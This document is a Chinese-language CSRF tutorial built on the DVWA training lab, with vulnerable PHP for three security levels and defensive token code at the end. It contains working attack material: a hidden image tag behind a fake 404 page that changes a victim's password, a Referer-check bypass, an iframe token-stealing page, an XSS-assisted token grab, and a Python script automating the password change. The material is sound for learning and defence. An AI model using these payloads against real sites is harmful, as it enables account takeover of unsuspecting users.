CSRF 漏洞
CSRF全称为Cross-site request forgery, 跨站请求伪造。说白一点就是可以劫持其他用户去进行一些请求,而这个CSRF的危害性就看当前这个请求是进行什么操作了。
跨站请求攻击,简单地说,是攻击者通过一些技术手段,指利用受害者 “尚未失效的身份认证信息”(cookie、会话等)欺骗用户 的浏览器 去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
而CSRF是怎么一个攻击流程呢?举一个最简单的例子,比如直接请求http://x.com/del.php?id=1
可以删除ID为1的账号,但是只有管理员有这个删除权限,而如果别人在其他某个网站页面加入<img src="htp://x. com/del.php?id=1" >
再把这个页面发送给管理员,只要管理员打开这个页面,同时浏览器也会利用当前登录的这个管理员权限发出http://x.comn/del.php?id=1
这个请求,从而劫持了这个账号做一些攻击者没有权限做的事情。
CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用
上面举的这个例子只是其中一个场景,更严重的像添加管理员账号、修改网站配置直接写入webshell等等都有很多案例。
挖掘实例——DVWA
CSRF主要是用于越权操作,所有漏洞自然在有权限控制的地方,像管理后台、会员中心、论坛帖子以及交易管理等,这几个场景里面,管理后台又是最高危的地方,而CSRF又很少被关注到,因此至今还有很多程序都存在这个问题。我们在挖掘CSRF的时候可以先搭建好环境,打开几个有非静态操作的页面,抓包看看有没有token,如果没有token的话,再直接请求这个页面,不带referer。如果返回的数据还是一样的话,那说明很有可能有CSRF漏洞了,这个是一个黑盒的挖掘方法,从白盒角度来说的话,只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码,这里的核心文件指的是被大量文件引用的基础文件,或者直接搜"token"这个关键字也能找,如果在核心文件没有,再去看看你比较关心的功能点的代码有没有验证。
下面对四种级别的代码进行分析。
Low
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; //注意这里的三个GET
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
漏洞利用
1、构造链接
A) 最基础的:
http://www.dvwa.com:8080/vulnerabilities/csrf/?password_new=657260&password_conf=657260&Change=Change#
当受害者点击了这个链接,他的密码就会被改成657260(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了,可以用百度短连接)。注意我在这个操作的时候犯了一个错误,就是一上去就直接点了这个链接,却并没有出现以下图中的红字“Password Changed”,因为一开始没有相应的改密码的操作,也就没有产生任何认证信息,不能利用CSRF攻击,,,,这也正说明了利用CSRF攻击的关键。
密码修改成功:
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。
B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):
如http://dwz.cn/****
具体网址如下:https://dwz.cn
C) 构造攻击页面
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
Medium
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
$_SERVER
是预定义服务器变量的一种,所有$_SERVER
开头的都是预定义服务变量。PHP编程中经常需要用到一些服务器的一些资料,如:$_SERVER['SERVER_NAME']
#当前运行脚本所在服务器主机的名称;$_SERVER['HTTP_REFERER']
# 链接到当前页面的前一页面的 URL 地址。
详情见:https://baike.baidu.com/item/$_SERVER/4897514
regi(string pattern, string string)检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
漏洞利用
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了
下面是Burpsuite的截图
Referer参数完美绕过过滤规则
密码修改成功
high
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF tokengenerateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要 提交 token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去 修改密码的页面 获取关键的token。
Cookie,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
document.getElementsByName(name)方法是取得页面中标签名属性名为name的标签元素,此处的name是一个变量,具体值根据上下文来确定.标签允许name属性名可以同名,所以用此方法取得的往往是一个集合(数组),所以用后面加[0](如果多个还可以1,2等)来得到具体的值.如:
<a name=c1>...
<p name=c1>...
<input name=c2>...
使用document.getElementsByName(”c1“)[0]将获得a标签对象,document.getElementsByName(”c1“)[1]获取p标签对象.
getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。
document.getElementsByName('user_token')[0].value这个地方是先取得页面中标签名属性名为uer_token的标签元素然后访问这个元素的属性
当一个元素有value属性的时候,其value才会有值,如<input name="txt1" type="text" value="hello"/>这样一个元素,当你使document.getElementsByName('user_token')[0].value时,可以得到其value值,即"hello"这个字符串。如果一个元素没有value值,那么使用时是取不到。这是理所当然的,没有的东西怎么访问?
contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档,通过id=hack得到iframe对象后,就可以通过contentWindow得到iframe包含页面的window对象,然后就可以正常访问页面元素了;
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见iframe框架偷偷访问修改密码的页面,并获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击,在本地环境下可以实现。
**然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。**这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。
所以换一种思路。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
注入代码如下
这里利用的是存储型xss,当受害者访问这个存在xss的页面,他改密页面的token可以被脚本获取
这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
这里只是简单的弹出,现实攻击中可以将token发送到攻击者服务器,进行构造连接,然后再诱导受害者访问攻击者服务器上的链接,进行csrf攻击,即可成功。
此时攻击者现在自己的机子上在修改密码页面随便修改一个密码,抓包:
构造恶意连接,将通过xss得到的token拼上:
http://192.168.161.137/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=6d03d694fc7c23eec93051ebed992c93(拼接你得到的token)
发送给受害者,让受害者点击即可:
可见密码修改成功了。
Python脚本:
import requests
import re
def main():
url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
headers = {
'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=high',
'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'
}
res = requests.get(url, headers=headers)
m = re.search(r"user_token' value='(.*?)'", res.content, re.M | re.S)
if m:
user_token = m.group(1)
new_password = 'ac'
url = '%s?password_new=%s&password_conf=%s&user_token=%s&Change=Change' % (url, new_password, new_password, user_token)
res = requests.get(url, headers=headers)
if 'Password Changed.' in res.content:
print('Yes')
else:
print('No')
print(res.content)
if __name__ == '__main__':
main()
参考:https://www.freebuf.com/articles/web/118352.html#token
漏洞防范
防御CSRF漏洞的最主要问题是解决可信的问题,即使是管理员权限提交到服务器的数据,也不一定是完全可信的,所以针对CSRF的防御有以下两点:
- 增加 token/referer 验证避免img标签请求的水坑攻击
- 增加验证码。
Token 验证
Token翻译中文为“标志”,在计算机认证领域叫令牌。利用验证Token的方式是目前使用的最多的一种,也是效果最好的一种,可以简单理解成在页面或者cookie里面加一个不可预测的字符串,服务器在接收操作请求的时候只要验证下这个字符串是不是上次访问留下的即可判断是不是可信请求,因为如果没有访问上一个页面,是无法得到这个Token的,除非结合XSS漏洞或者有其他手段能获得通信数据或token。
Token实现测试代码如下:
<?php
session_start() ;
function set_token() {
$_SESSION['token'] = md5(time() +rand(1, 1000));
}
function check_token() {
if (isset($_POST['token'])&&$_POST['token'] === $_SESSION['token'])
{
return true;
}
else {
return false;
}
}
if (isset($_SESSION['token']) &&check_token()) {
echo "success";
}
else{
echo "failed";
}
set_token() ;
?>
<form method="post">
<input type= "hidden" name="token" value="<?=$_SESSION[ 'token']?>"> //发送token
<input type="submit"/>
</ form>
运行结果,如果请求里面的Token值跟服务器端的一致, 则输出“success”,否则输出“failed"。
验证码验证
验证码验证没有Token那么实用,考虑到用户体验,不可能让用户每个页面都去输入一次验证码,这估计用户得疯掉,所以一般这种方式只用在敏感操作的页面,比如像登录页面,实现方式跟Token差不多,这里就不再详细给出代码。